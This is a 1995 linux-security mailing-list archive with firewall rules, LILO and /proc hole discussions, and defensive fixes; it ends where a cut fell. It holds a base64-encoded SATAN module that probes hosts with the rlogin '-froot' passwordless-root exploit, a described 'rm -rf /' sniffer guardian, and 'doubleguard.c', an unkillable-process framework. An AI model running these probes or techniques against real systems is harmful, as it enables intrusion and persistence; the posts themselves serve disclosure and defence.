Newsgroups: mail.linux-security Subject: Re: IP firewalling and security Date: 21 Apr 1995 12:07:17 -0400 Organization: DataHaven Project +1 412 683 8582 Lines: 38 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Thomas Koenig ([email protected]) wrote: : IP firewalling for a single machine, methinks, can be used to enhance : security of such services such as X or NFS. I've added a /etc/rc.d/rc.ipfw startup script, I have it run before rc.inet1 and rc.inet2. It's pretty simple and looks much like this: IPFW=/sbin/ipfw # # Block Access to portmapper from IP, before checked by tcpd ${IPFW} a b deny udp from 0.0.0.0/0 to 199.234.136.0/24 111 ${IPFW} a b deny tcp from 0.0.0.0/0 to 199.234.136.0/24 111 ${IPFW} a b accept udp from 199.234.136.0/24 to 199.234.136.0/24 111 ${IPFW} a b accept tcp from 199.234.136.0/24 to 199.234.136.0/24 111 # # Block NFS traffic from none local ip numbers ${IPFW} a b deny udp from 0.0.0.0/0 to 199.234.136.0/24 2049 ${IPFW} a b deny tcp from 0.0.0.0/0 to 199.234.136.0/24 2049 ${IPFW} a b accept udp from 199.234.136.0/24 to 199.234.136.0/24 2049 ${IPFW} a b accept tcp from 199.234.136.0/24 to 199.234.136.0/24 2049 # And so on, for the syslog port, for the printer port, for the samba port, and also for X11 port. I block TCP along with UDP because of this: > /usr/sbin/rpcinfo -p localhost program vers proto port 100000 2 tcp 111 portmapper 100000 2 udp 111 portmapper 100003 2 udp 2049 nfs 100003 2 tcp 2049 nfs If it's going to advertise on TCP, maybe you should block TCP.... :) -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Mon Apr 24 17:04:05 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id RAA11295; Mon, 24 Apr 1995 17:01:25 -0400 Received: from tango.rahul.net (tango.rahul.net [192.160.13.5]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA28509; Fri, 21 Apr 1995 11:27:54 -0400 Received: from dandelion.com by tango.rahul.net with SMTP id AA19851 (5.67b8/IDA-1.5 for ); Fri, 21 Apr 1995 08:27:50 -0700 Received: (from lnz@localhost) by dandelion.com (8.6.12/8.6.12) id IAA02349; Fri, 21 Apr 1995 08:27:49 -0700 Date: Fri, 21 Apr 1995 08:27:49 -0700 From: "Leonard N. Zubkoff" Message-Id: <[email protected]> To: [email protected] Cc: [email protected] In-Reply-To: Thomas Koenig's message of Wed, 19 Apr 1995 20:35:19 +0200 (MET DST) <[email protected]> Subject: IP firewalling and security Sender: [email protected] Precedence: list Date: Wed, 19 Apr 1995 20:35:19 +0200 (MET DST) From: [email protected] (Thomas Koenig) If your router is configured to drop any packets which appear to come from the inside, but come in from the outside, you've closed any NFS holes there may be to the outside world. If you're connected by PPP to the outside world, you can also use the "interface" option to ipfw to drop packets coming from the wrong interface: # Block UDP packets incorrectly claiming to be from the local Ethernet. /sbin/ipfw add blocking deny udp iface $interface from x.y.z.0/22 to 0/0 /sbin/ipfw add blocking deny tcp iface $interface from 0/0 to 0/0 6000 The last line prevents any packet destined for port 6000 on the local machine from coming in over the $interface interface. Leonard From [email protected] Mon Apr 24 19:25:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id TAA12569; Mon, 24 Apr 1995 19:23:36 -0400 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id RAA11311; Mon, 24 Apr 1995 17:01:51 -0400 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0s3VGS-0005DWC; Mon, 24 Apr 95 23:01 MET DST Received: by monad.swb.de (smail3.1.29.0 #5) id m0s3VxL-000KjEC; Mon, 24 Apr 95 23:46 MET DST Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: IP firewalling and security To: [email protected] Date: Mon, 24 Apr 1995 23:46:11 +0200 (MET DST) In-Reply-To: <[email protected]> from "Thomas Koenig" at Apr 19, 95 08:35:19 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 2264 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Thomas Koenig wrote: > Question: if you've got nfsd and rpcd running firewalled, can anything > be gained by also firewalling mountd? This would probably have to be > done in mountd itself, since it doesn't bind to a specified port. Protection of RPC services that run on random ports is a problematic issue. NFS can be firewalled so easily because nfsd always runs on port 2049, but you're quite stuck with all other services. Firewalling port 111 or using a portmapper with hosts_access protection does not help you here, because it's quite easy to find out which services run on which port without consulting the portmapper at all(*). IMHO, the only solution to this problem is to make RPC daemons aware of hosts_access or a similar scheme. An ideal place to add this transparently would be in svc_run, but unfortunately, the current tcp-wrapper implementation doesn't lend itself very well to fun like this because for each check you perform, it opens and parses the entire hosts.allow and hosts.deny files. I have started hacking on the tcpd-7.2 sources to load this stuff into memory and add a cache indexed by client addresses, but it's not even at the compile stage yet:-) If someone is interested in pursuing this, I could give you the source. To comment on the issue Thomas raised (at long last): I don't believe there's much evil you can do with mountd as long as the NFS port is blocked, except maybe for a denial of service attack. Regards Olaf (*) Basically, you use NULL RPC calls to check if a given service resides on a given port. It works surprisingly well... What makes me slightly nervous is that when playing around with this, none of the servers recorded a single complaint in the log files. - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBL5wcEOFnVHXv40etAQGdVQP+I23kmatE1O47QFEdDwYv55/UnzLWl+Aw pFCTqPSA0zGQypCh2ygko3nvYZopblwVO+2erQYh1Zuhu+SpxACfACLajxnlN0Vy gE9PcWRepLC7pXW8PJdnMghxPL8CBMqxUcVCtoMWJ5VwgU8yAs399F+3AUWK0BlL WRh2OUBneKc= =1RjJ -----END PGP SIGNATURE----- linux-security/1995/linux-security.950425100664 1767 1767 2402 5747233010 17231 0ustar majdommajdomFrom [email protected] Tue Apr 25 13:48:51 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA03987; Tue, 25 Apr 1995 13:29:02 -0400 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA03983; Tue, 25 Apr 1995 13:28:58 -0400 Date: Tue, 25 Apr 1995 13:28:58 -0400 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Mailing-list statistic-compilation utility. X-Quote-I-Like: "You know your country is dying when you have to make a distinction between what is moral and ethical, and what is legal." --John De Armond (in "Performance Engineering Magazine"). X-Attribution: Up Sender: [email protected] Precedence: list Since my quick mention yesterday (to this list) of a small Perl script that I created for compiling domain-breakdowns and such for mailing lists, I have had quite a few requests for a copy of it. It's now available via FTP at linux.nrao.edu:/pub/src/misc/listdoms.pl.gz It requires Perl version 5 (simply because of the way that I wrote it). Any questions or problems regarding this util. should be sent to me directly (*not* to the security list). --Up. linux-security/1995/linux-security.950426100664 1767 1767 10513 5747541473 17273 0ustar majdommajdomFrom [email protected] Wed Apr 26 18:03:33 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id RAA04836; Wed, 26 Apr 1995 17:41:50 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id QAA03763; Wed, 26 Apr 1995 16:00:59 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA11847; Wed, 26 Apr 95 14:58:36 CDT Date: Wed, 26 Apr 1995 14:58:36 -0500 (CDT) From: Aleph One To: [email protected] Cc: [email protected], [email protected] Subject: Satan module for Linux/AIX rlogin -froot bug Message-Id: Mime-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="1435141361-2986965-798926316=:11428" Sender: [email protected] Precedence: list This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to [email protected] for more info. --1435141361-2986965-798926316=:11428 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, this is a small satan module I made as a quick hack to check hosts that have rlogind running for the -froot bug. Drop it in the bin directory in the satan diretory. You also need to modify the rules/jobs and config/paths.sh files. Look in login.satan and it will tell you waht to do. Also your rlogin may puke at the -froot thinking its a switch and not a parameter to -f. In that case get Linux rlogin and compile. I havent tried it again a bugy Linux box yet but thats because I dont know of one. Anyway here it is. a1 --1435141361-2986965-798926316=:11428 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="login.satan" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: satan login module IyEvYmluL3NoDQojDQojIGxvZ2luLnNhdGFuIHYwLjUNCiMgdGVzdCBmb3Ig bmFzdHkgLWZyb290IExpbnV4L0FJWCBybG9naW4vbG9naW4gYnVnLg0KIw0K IyBUZXN0ZWQgYWdhaW5zdCBBSVguIE5vdCB0ZXN0ZWQgeWV0IGFnYWluc3Qg TGludXguDQojIChDYW4ndCBmaW5kIGEgTGludXggYm94IHRoYXQgc3RpbGwg aGFzIHRoZSBidWcpDQojDQojIFRlc3RlZCB1bmRlciBMaW51eCBvbmx5LiBZ b3VyIHJsb2dpbiBtYXkgY2hva2Ugb24gLWwgLWZyb290DQojIE1heSB0aGlu ayAtZnJvb3QgaXMgYSBjb21tYW5kIGxpbmUgcGFyYW1ldGVyLiBHZXQgTGlu dXgNCiMgcmxvZ2luIGFuZCBjb21waWxlLg0KIw0KIyBhZGQgdG8gY29uZmln L3BhdGhzLnNoDQojCVJMT0dJTj0vdXNyL2Jpbi9ybG9naW4NCiMJU0xFRVA9 L3Vzci9iaW4vc2xlZXANCiMNCiMgYWRkIHRvIHJ1bGVzL3RvZG8NCiMJJHNl cnZpY2UgZXEgImxvZ2luIiA8VEFCcz4gJHRhcmdldCAibG9naW4uc2F0YW4i DQojDQojIEFsZXBoIE9uZQ0KIyBhbGVwaDFAZGZ3Lm5ldA0KIyBhbGVwaDFA dW5kZXJncm91bmQub3JnDQojIGh0dHA6Ly91bmRlcmdyb3VuZC5vcmcvDQoN Ci4gY29uZmlnL3BhdGhzLnNoDQoNCiMgdXNlZCBpbiBmaW5hbCBvdXRwdXQN CnRhcmdldD0kMQ0Kc2VydmljZT1gJEJBU0VOQU1FICQwIHwgJFNFRCAncy9c Li4qJC8vJ2ANCnN0YXR1cz0iYSINCg0KY2FzZSAkIyBpbg0KICAgIDEpIHRh cmdldD0kMTs7DQogICAgKikgJEVDSE8gVXNhZ2U6ICQwIHRhcmdldCAxPiYy OyBleGl0IDE7Ow0KZXNhYw0KDQojIG5lZWQgdGhlIEMgcHJvZ3JhbS9leGUg dG8gZG8gdGhlIHJlYWwgd29yazoNCmlmICRURVNUICEgLWYgIiRSTE9HSU4i IDsgdGhlbg0KCWV4aXQgMQ0KCWZpDQoNCmlmICggJFNMRUVQIDMwIDsgJEVD SE8gfi4gKSB8ICRSTE9HSU4gLWwgLWZyb290ICR0YXJnZXQgMj4gL2Rldi9u dWxsIHwgJEdSRVAgIkxhc3QgbG9naW4iID4gL2Rldi9udWxsIDsgdGhlbg0K CXNldmVyaXR5PSJycyINCgl0cnVzdGVlPSJVU0VSQCR0YXJnZXQiDQoJdHJ1 c3RlZD0iQU5ZQEFOWSINCglzZXJ2aWNlX291dHB1dD0iTE9HSU4gYnVnIg0K CXRleHQ9ImxvZ2luIC1mcm9vdCBpcyB2dWxuZXJhYmxlIHRvIHRoZSB3b3Js ZCINCmVsc2UNCglzZXZlcml0eT0iIg0KCXRydXN0ZWU9IiINCgl0cnVzdGVk PSIiDQoJc2VydmljZV9vdXRwdXQ9IiINCgl0ZXh0PSJsb2dpbiAtZnJvb3Qg aXNuJ3QgdnVsbmVyYWJsZSINCglmaQ0KDQokRUNITyAiJHRhcmdldHwkc2Vy dmljZXwkc3RhdHVzfCRzZXZlcml0eXwkdHJ1c3RlZXwkdHJ1c3RlZHwkc2Vy dmljZV9vdXRwdXR8JHRleHQiDQoNCiMgdGhhdCdzIGFsbCBmb2xrcy4uLg0K --1435141361-2986965-798926316=:11428-- [Mod: For those that may be late-comers to Linux, Linux (and AIX) shared a particularly nasty hole for awhile in that you could log in (at the console or remotely) using "-fusername" and not be prompted for a password--this applied to the root account as well. This problem was announced in a CERT advisory (CA-94:09; May 23, 1994; message-id: <[email protected]>). This is one of the most serious security holes that has been publicly acknowledged in Linux since its adoption in "mainstream" circles, though most networked systems, and all major distributions, have since plugged this hole (as the author sort of indicates). --Jeff.] linux-security/1995/linux-security.950427100664 1767 1767 5333 5747754537 17267 0ustar majdommajdomFrom [email protected] Thu Apr 27 13:50:18 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA08111; Thu, 27 Apr 1995 13:42:36 -0400 Received: from Paranor.pc.cc.cmu.edu (PARANOR.PC.CC.CMU.EDU [128.2.95.12]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id IAA03248; Tue, 25 Apr 1995 08:49:33 -0400 Received: (from dblanken@localhost) by Paranor.pc.cc.cmu.edu (8.6.9/8.6.9) id IAA00095; Tue, 25 Apr 1995 08:49:21 -0400 Date: Tue, 25 Apr 1995 08:49:18 -0400 From: "David A. Blankenship" Subject: LILO hole To: [email protected] Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: Although the issue of subverting Linux by tweaking the boot sequence has been discussed several times and the hole described below is in fact a lilo feature described in the manual, I'm approving this because there still seems to be some uncertainty among users on how to cope with this. The method described below in combination with a BIOS password should protect you from the more trivial types of attacks, I believe. --okir] It seems that there is a rather amusing security hole in lilo. If you enter 'linux single' at the boot prompt it boots linux single user. Doesn't ask for a password or anything. Of course it also mounts the hard drive read-only, but its very easy to remount it read/write. Fortunately this is easy to fix. Just put a line in /etc/lilo.conf password=your_password and reinstall lilo. This will ask you for a password any time you boot up on any OS. If you don't like that, you can put the word 'restricted' in front of the label of the OS you don't want password protected. Then it will only ask for a password if you try to put 'single' (or any other parameters) after the name at boot up. I'm not sure how many versions of lilo this affects, but it's worked on every one I've tried so far. I don't know about any of the other distributions, but Slackware doesn't say anything about password protecting lilo so any system with the default slackware distribution should be vulnerable. This is actually a pretty handy feature as long as you have it passworded. Oh, and if you do put the password line in lilo.conf make sure lilo.conf isn't world readable (there's no reason it should be) or everyone will be able to see your password. ============================================================================= "God is dead" | --Nietzsche | | David A. Blankenship ==\/== "Nietzsche is dead" | [email protected] --God | linux-security/1995/linux-security.950503100664 1767 1767 4635 5751637622 17254 0ustar majdommajdomFrom [email protected] Wed May 3 04:32:13 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA08505; Wed, 3 May 1995 03:54:09 -0400 Received: from fire.fire.com ([129.186.202.190]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id XAA10952; Thu, 27 Apr 1995 23:33:51 -0400 Received: from fire.fire.com (localhost.fire.com [127.0.0.1]) by fire.fire.com (8.6.12/8.6.12) with ESMTP id WAA16509; Thu, 27 Apr 1995 22:20:27 -0500 Message-Id: <[email protected]> To: "David A. Blankenship" Cc: [email protected] Subject: Re: LILO hole In-reply-to: Your message of "Tue, 25 Apr 1995 08:49:18 EDT." Date: Thu, 27 Apr 1995 22:20:26 -0500 From: Jon Green Sender: [email protected] Precedence: list [mod: Questions on where to get sulogin to the author, please. Quoting trimmed. --okir] > It seems that there is a rather amusing security hole in lilo. If you >enter 'linux single' at the boot prompt it boots linux single user. Doesn't >ask for a password or anything. Of course it also mounts the hard drive >read-only, but its very easy to remount it read/write. Actually, this is pretty simple to fix. I have this in /etc/inittab: # Shell to run in single user mode. su:S:wait:/sbin/sulogin And from the handy man pages: SULOGIN(8) SULOGIN(8) NAME sulogin - Single-user login SYNTAX sulogin [ tty-device ] DESCRIPTION sulogin is invoked by /etc/init prior to allowing the user access to the system when in single user mode. This fea- ture may only be available on certain systems where init has been modified accordingly, or where the /etc/inittab has an entry for a single user login. The user is prompted Type control-d for normal startup, (or give root password for system maintenance): -Jon ---------------------------------------------------------------------------- * Jon Green * LINUX! * 3014 West St.#3 * * [email protected] * The Choice of a GNU Generation * Ames, Iowa 50014 * * Jon2@IRC * http://www.fire.com/~jcgreen * Phone (515) 296-1567 * ---------------------------------------------------------------------------- linux-security/1995/linux-security.950505100664 1767 1767 21020 5752462713 17257 0ustar majdommajdomFrom [email protected] Fri May 5 13:51:59 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA03783; Fri, 5 May 1995 13:33:59 -0400 Received: from sst.ncsl.nist.gov (SST.NCSL.NIST.GOV [129.6.48.110]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id MAA09697; Wed, 3 May 1995 12:04:53 -0400 Received: from kangaroo (KANGAROO.NCSL.NIST.GOV) by sst.ncsl.nist.gov (4.1/rbj/jck-2) id AA05793; Wed, 3 May 95 12:04:51 EDT Message-Id: <[email protected]> Date: Wed, 03 May 95 11:05:03 -0400 From: Bob Bagwill X-Mailer: Mozilla 1.1b3 (X11; I; Linux 1.1.72 i586) Mime-Version: 1.0 To: [email protected] Subject: Proposal - Linux security package and howto X-Url: http://www.sonic.net/hypermail/security/ Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=iso-8859-1 Sender: [email protected] Precedence: list Hi folks, I recently gave away my xterminal and sparcstation and converted 100% to Linux. I noticed that a lot of security-related software was missing from the distribution I used. I would like to see a package of essential software for Linux security. Particular distributions tend to include some of the components, but not others. It might be useful to have a server package, which is appropriate for a multi-user, multi-purpose Linux system, and a desktop package for a single-user system. I'd also like to see accompaning howto's. To get the ball rolling, here is some software I had to obtain for my single-user desktop box: anon-ftpd-0.7 - to permit worry-free ftp cops_104 - to check for config problems, needs to be improved for Linux pgp262s - to send and receive confidential email, and to secure integrity info rsaref - for pgp sendmail.8.6.12 - needed for latest security bug fixes, could be replaced by simpler SMTP agent skey-2.2 - to login to firewall system xautolock.pl10 - to lock the screen when I leave my desk lsof_3.23 - to check for suspicious processes md5 - to create and check digital signatures chrootuid - to chroot WWW daemons What other software would you suggest? I'd like to see a problem -> solution format. -- Bob Bagwill [Mod: Please direct replies to the author. Bob, could you post a summary of replies (i.e. software, problem -> solution, etc.)? This could be a good thing for inclusion in the FAQ that Alexander Yuriev is working on. --Jeff.] From [email protected] Fri May 5 13:52:06 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA03776; Fri, 5 May 1995 13:30:46 -0400 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id BAA07368; Wed, 3 May 1995 01:34:09 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id BAA23590; Wed, 3 May 1995 01:35:46 -0400 Date: Wed, 3 May 1995 01:35:46 -0400 (EDT) From: "Alexander O. Yuriev" To: [email protected] cc: Jeff Uphoff , Olaf Kirch Subject: Not just "sniffers" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [This is not really just about Linux but ...] Couple of weeks ago I received a call from a company that could not figure out what was going on with their Unix systems. They had found out that their systems were invaded and were doing some cleaning. Anyway, as usually, after systems were penetrated attackers installed sniffers on them. The thing that made it different from any old-style attack was that killing a sniffer resulted in "rm -rf /*" being executed. Every time a sysadmin was killing running sniffer system disk was getting viped. Here's what I found out: the sniffer was guarded by another process running with a name (hold your breath) rpc.ugidd. Here's the way SOBs work: a) intruder places rpc.ugidd into the rc.local b) when rpc.ugidd starts it forks a child and get parents pid. c) parent tests that child is alive by sending and then receiving a signal, and after a sucessful "handshake" parent replaces itself with the actual code of a sniffer. d) forked child tests if a sniffer is running, and if it is not executes ("rm -rf /") and sends SIGSEGV to process 1 The obvious way to kill SOB is to send a kill to guardian process and then kill a sniffer. The following code is something I wrote yesterday (instead of writing my paper that is due in less then 9 hours ;-(. The code is a framework of what can be done to create "immortal" guardian. There are two reasons for it: 1) I want everybody to be aware of the fact that such programs exist 2) This is a good start for a guardian of automated procedures that people run on their systems. 3) You may find a way to break protection that I did not think of. If you find program like this running on your system, remember: you need to find all parts of it *before* killing it, otherwise it can fight you back. NEVER use SIGKILL to stop a process like that - if there's a chance that there are two guardians that guard each other, sending KILL signal can and probably will triger the respose. The best way to do is to send SIGSTOP to all running parts of program (which would suspend processes but won't allow monitors to detect that guarded process is suspended). After that you can safely use SIGKILL to finish them (the only problem is that it does not work in all cases). - doubleguard.c - /* Doubleguard.c is (C) 1995 Alexander O. Yuriev #include #include #include void vNewProcess(pid_t *, pid_t *); void realMain(void) { pid_t pidtItself; pid_t pidt2Guard; pid_t pidtTemp; pidtItself = getpid(); vNewProcess(&pidtItself,&pidt2Guard); while(1) { if (fProcessAlive(pidt2Guard) == 0) vNewProcess(&pidtItself,&pidt2Guard); } } void vNewProcess(pid_t *pidtItself, pid_t *pidt2Guard) { *pidt2Guard = fork(); if (*pidt2Guard == (pid_t) -1) { fprintf(stdout,"\nUnable to fork() a child!\n"); exit(0); } else if (*pidt2Guard == (pid_t) 0) { *pidtItself = getpid(); *pidt2Guard = getppid(); signal(SIGCLD,SIG_IGN); } } int fProcessAlive(pid_t pidtProcess) { if (kill(pidtProcess,0) == 0) return 1; return 0; } void deattach(void) { pid_t pidtNewMain; pid_t pidtParent; unsigned i; fprintf(stdout,"\nDe-attaching main control process"); if ((pidtNewMain = fork()) == - 1 ) { fprintf(stderr,"\nUnable to deattach main process\n"); perror("deattch() failed"); exit(-1); } else if (pidtNewMain == 0) { fprintf(stdout,"\nNew Process created... "); fprintf(stdout,"Determining parent PID..."); pidtParent = getppid(); fprintf(stdout,"PID is %u... ",(unsigned) pidtParent); fprintf(stdout,"Now killing parent..."); if (kill(pidtParent,SIGKILL)) { fprintf(stdout,"Hmm.. Can't kill parent. Initiating termination sequence..."); fprintf(stdout,"Child exited..."); exit(1); } else { fprintf(stdout,"Deattach completed."); realMain(); } } sleep(2); fprintf(stdout,"\nParent exited by itself. Probably unsuccessful deattach\n"); exit(0); } void main(void) { signal(SIGCLD,SIG_IGN); deattach(); } - - - ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= [Mod: Not strictly Linux-specific, but it can affect Linux systems pretty horribly. We've already had some talk about rpc.ugidd here, so this also fits in somewhat with that topic. I've not really looked at Alex's code segment yet, so please don't assume that approval of this to the list also means "approval" of the code. --Jeff.] linux-security/1995/linux-security.950507100664 1767 1767 5741 5753173404 17252 0ustar majdommajdomFrom [email protected] Sun May 7 12:36:16 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id MAA10780; Sun, 7 May 1995 12:20:47 -0400 Received: from bootes.cus.cam.ac.uk (bootes.cus.cam.ac.uk [131.111.8.1]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id LAA10695; Sun, 7 May 1995 11:21:48 -0400 Received: by bootes.cus.cam.ac.uk (Smail-3.1.29.0 #36) id m0s889H-000C0BC; Sun, 7 May 95 16:21 BST Received: by chiark id m0s85pd-0000XQZ (Debian /\oo/\ Smail3.1.29.1 #29.30); Sun, 7 May 95 13:53 BST Message-Id: Date: Sun, 7 May 95 13:53 BST From: [email protected] (Ian Jackson) To: [email protected], [email protected] Subject: Re: Security problem in proc fs Sender: [email protected] Precedence: list (Crossposted to linux-security as well as linux-kernel.) Peter Alban writes ("Security problem in proc fs"): > I think I found a BIG security bug in the proc file system. > The permission and ownerships for the file descriptor entries in the fd > subdirectories are wrong. > The permission for such a file are (if the file was opened O_RDWR) readable > and writable for all processes with the same euid as the process which owns > these file descriptor CURRENTLY has. > eg: A suid program which opened /dev/mem (O_RDWR) and later does a > 'seteuid(getuid())' (like every svgalib program) allows every user to > clone a read and writable fd to /dev/mem. I have reproduced this and it is a security hole. It should be fixed urgently. Unfortunately I'm not competent enough as a kernel hacker to do so. > I think a file descriptor entry in the proc fs should have the same owner > (uid) and group (gid) as the inode which belong to the descriptor. ( if this > field has a meaningful value -- in socket inodes these fields are always > zero ) and the permissions should be a mix of the permission of the inode and > the permissions of the file descriptor. (the directory is only read and > searchable for processes with the same euid) No. This is the *wrong* thing to do. The permissions and ownerships of the file referred to by the file descriptor are not really relevant here (even if they can be determined). Access to /proc/.../fd should be allowed iff the process doing the access would be allowed to ptrace the process being accessed. Clearly restricting the use of /proc/.../fd any more would be futile, as the `attacker' could just ptrace the process owning the descriptor and access it that way. Restricting the use of /proc/.../fd any less is very dangerous, because it allows a user to attack (for example) a set-uid program in a way that breaches the usual assurances that the kernel gives to priveliged programs that their operation will not be interfered with. File descriptor integrity is one of these key assurances that setuid programs, daemons and so on rely on. I have said this before. I'm disappointed that I'm having to say it again. Ian. linux-security/1995/linux-security.950509100664 1767 1767 4235 5753727075 17262 0ustar majdommajdomFrom [email protected] Tue May 9 14:02:31 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id NAA25755; Tue, 9 May 1995 13:36:43 -0400 Received: from dfw.net (dfw.net [198.175.15.10]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with SMTP id BAA22551; Tue, 9 May 1995 01:53:17 -0400 Received: by dfw.net (4.1/SMI-4.1) id AA01467; Tue, 9 May 95 00:52:31 CDT Date: Tue, 9 May 1995 00:52:31 -0500 (CDT) From: Aleph One To: [email protected] Subject: linux nfsd Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Though this would be of interest. Sorry, I usually try this stuff before I post, but I dont have more than one machine in which to test at the moment. So someone else will have to look into it. a1 ---------- Forwarded message ---------- Date: Mon, 8 May 1995 10:01:39 -0500 From: robert owen thomas To: "Dr. Frederick B. Cohen" , Mike Neuman Cc: [email protected] Subject: and now, back to your regularly scheduled discussion topic... ObBug: i have recently discovered that it is possible to re-export an imported filesystem under Linux. to illustrate: hostA --> exports /usr/share to -access=hostB hostB --> a linux box. re-exports /usr/share to everyone hostC --> not implicitly trusted by hostA, mounts /usr/share aside from any security concerns, this would certainly thrash your nfsd's. does anyone have any experience with this? i have only recently discovered this, and have not had time to peruse it in depth. regards, --robert -- o robert owen thomas: Unix consultant. Big Brother. user scratching post. o o e-mail: [email protected] --or-- [email protected] o o vox: 708.632.5768 fax: 708.632.5694 o o -- System Administrator's Dictionary -- o o user (you'zer) n. 1 A waste of system resources; an unwanted load o o on the processor(s) of a Unix system. 2 Someone who uses Caps Lock. o linux-security/1995/linux-security.950516100664 1767 1767 43505 5756144630 17274 0ustar majdommajdomFrom [email protected] Tue May 16 03:27:24 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA03914; Tue, 16 May 1995 03:01:31 -0400 Received: from muddcs.cs.hmc.edu (muddcs.cs.hmc.edu [134.173.42.2]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id NAA10168; Wed, 3 May 1995 13:28:58 -0400 Received: (from andrewh@localhost) by muddcs.cs.hmc.edu (8.6.12/8.6.10) id KAA09179; Wed, 3 May 1995 10:27:55 -0700 From: Andrew Hughes Message-Id: <[email protected]> Subject: Re: LILO hole To: [email protected] (Jon Green) Date: Wed, 3 May 1995 10:27:54 -0700 (PDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Jon Green" at Apr 27, 95 10:20:26 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 640 Sender: [email protected] Precedence: list > > Actually, this is pretty simple to fix. I have this in /etc/inittab: > > # Shell to run in single user mode. > su:S:wait:/sbin/sulogin > That's very nice, but it seems to me that this is just another demo of the fact that if someone can get to your console long enough, they can break your machine. If you have sulogin and all such, that's very nice, but I'll bet that 90%+ of the Linux boxes out there can be trivially rebooted with a floppy, at which point I mount your harddrive and have at it. Not really a hole, just a fact of life. You've got to keep the machine physically secure from people yuo don't trust. AndrewH [Mod: There have been quite a few "beating a dead horse" submissions to the list regarding things like hacking root by booting from a floppy and mounting the hard drive. This sort of thing is a well-known vulnerability with PC's, and though you can try protecting yourself from it by reordering the boot sequence, adding a BIOS password, etc., there's no real *sure-fire* way to protect yourself from people that have physical access to your machine(s)--it's just an ugly fact. Please let's let this thread die... --Jeff.] From [email protected] Tue May 16 03:29:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.11/8.6.9) id DAA04024; Tue, 16 May 1995 03:25:33 -0400 Received: from bach.cis.temple.edu (bach.cis.temple.edu [129.32.32.92]) by tarsier.cv.nrao.edu (8.6.11/8.6.9) with ESMTP id BAA30130; Wed, 10 May 1995 01:21:05 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.10/8.6.9) id BAA05527; Wed, 10 May 1995 01:24:44 -0400 Date: Wed, 10 May 1995 01:24:43 -0400 (EDT) From: alex To: Linux Security Mailing List Subject: CFS Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Did anybody manage to compile CFS (Crypt File System) under Linux? Does it work at all? Is it stable? Best wishes, Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL http://bach.cis.temple.edu ============================================================================= [Mod: I think I may have seen mention of this somewhere on here, but I'm 